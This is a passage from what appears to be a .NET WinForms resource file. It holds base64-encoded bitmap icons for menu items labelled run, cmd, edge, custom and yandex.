++qhsPnd0vvy/3PJ4/gMAktoHRWWvKgAAAABJRU5ErkJgggs=</value></data><data name="runToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>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</value></data><data name="cmdToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAADAQAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsSAAALEgHS
+3X78AAADrklEQVRoQ+3YSUokURQFUNdk3/dNps1EFCcOFNSBoEtwA6IjEVTUpTgQQVHRgSsoax+/
+4n7iBs8XL368cFrx4ZJVRQ3OvRn5TexpT3va0572tIfn7e1t5fX19W/2Gprk6urqVzk4OGia7/39
+/W7OLZ8M861xnlg4TwxgbbICf3Ju+Vg4TyycJxbQk5xbPhbOEwvniYXzJOeWj4XzxMJ5YuE8ybnl
+s7q6GpCVlZWY5eXlmG63W6TT6cQsLS0VWVxcjFlYWIiZn58vMjc3FzM7O1tkZmYmZnp6OmZqaqrI
+5ORkzMTERJHx8fGYsbGxmJxbPhZeFiBeFtB4WYB4WUDjZQHiZQGNTxYg3lo/hbfWT+Gt9VN4WWB0
+dLS+gMbLAsRb6xMvCxBvrU+8LEC8tT7wtQWI965PvHd94r3rE9+4gF4fWEAAJV4WSK1PvHd94q31
+kwWq1gd0Z2cnPDw8xGsMOImXBTReFkitT3zd+iMjI/UFNH53dzc8Pz+Hz8/PkH1Xwo/ziKzCywKp
+9Ym31q/C1xYgngUAe3x8jHgGJfb29iKQeFnAg7fWJ14WIL5xAeBZ4Pj4OLy/v5slgLPwsgDx1vrE
+e9cfHh6uLqDxCG6cuhKANVmfeO/6xDcuwCsTAc4qgb8fHR1FYGp94r3rE6/Xry2g10d4ZQIGrFUC
+5VhC42WB1PrEp9Z3F9B4BDcOYCcnJ+Hj4+NHiaenp4ghXhZIrU+8tb6FHxoaqi6g8bIA8Fh3e3s7
+nJ2dhZubm6IEvlLzMWqClwU0XhYgvnEBjccPM3yPv7y8DOfn57HEy8tLODw8NPGyAPHW+sR71q8t
+oPEI8be3t+Hu7i5cX1/HEqenp2Ftbe0H3rs+8d71iU8WIF4WIB7w+/v7+IqgwPr6eoR6P7jEe9cn
+XhYYHBysL6DXx6MCPIPHyMLLAsBJTNWaACEDAwMx/f39Rfr6+uK/6f+fc8tHF+Czv7m5WZTA68bG
+RoG31sfqwOPz8fX19evg+1dvb2+pbM4tH41ngNza2goXFxc/lrfwsoCFahoWID5ZgHhZgF/UgMRz
+jFeNlwX43OORsUBNowvgkcq55VOFRzxf1ohnATwCFsobPkISX1uAeFmAeFlA42UBvFO4VawPLjES
+pD+4COAI/vyrAqn1ia9aX1+bvDLltckrU95UnlsqWSDDfletT7xnfYm37vwU3nq3JD57R6p/uZvB
+uyih8db6Kby1PvGyAPHW+sTLAsBnr52c2572tKc97fnvT0/PP3D61zVT3k4wAAAAAElFTkSuQmCC
+Cw==</value></data><data name="edgeToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>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
+22jwnAoqAAAAAElFTkSuQmCCCw==</value></data><data name="customToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>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</value></data><data name="yandexToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>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
